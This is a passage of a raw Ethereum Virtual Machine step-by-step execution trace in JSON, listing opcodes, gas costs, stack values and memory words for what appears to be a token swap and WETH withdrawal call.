bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3217,"op":"MSTORE","gas":18928,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x136dbf40ac09b","0x3a4","0x2e1a7d4d00000000000000000000000000000000000000000000000000000000","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3218,"op":"PUSH1","gas":18925,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x136dbf40ac09b","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","00000000f40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3220,"op":"ADD","gas":18922,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x136dbf40ac09b","0x3a4","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","00000000f40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3221,"op":"PUSH2","gas":18919,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x136dbf40ac09b","0x3a8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","00000000f40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3224,"op":"SWAP2","gas":18916,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x136dbf40ac09b","0x3a8","0xca0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","00000000f40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3225,"op":"DUP2","gas":18913,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0xca0","0x3a8","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","00000000f40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3226,"op":"MSTORE","gas":18910,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0xca0","0x3a8","0x136dbf40ac09b","0x3a8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","00000000f40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3227,"op":"PUSH1","gas":18907,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0xca0","0x3a8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3229,"op":"ADD","gas":18904,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0xca0","0x3a8","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3230,"op":"SWAP1","gas":18901,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0xca0","0x3c8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3231,"op":"JUMP","gas":18898,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0xca0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3232,"op":"JUMPDEST","gas":18890,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3233,"op":"PUSH1","gas":18889,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656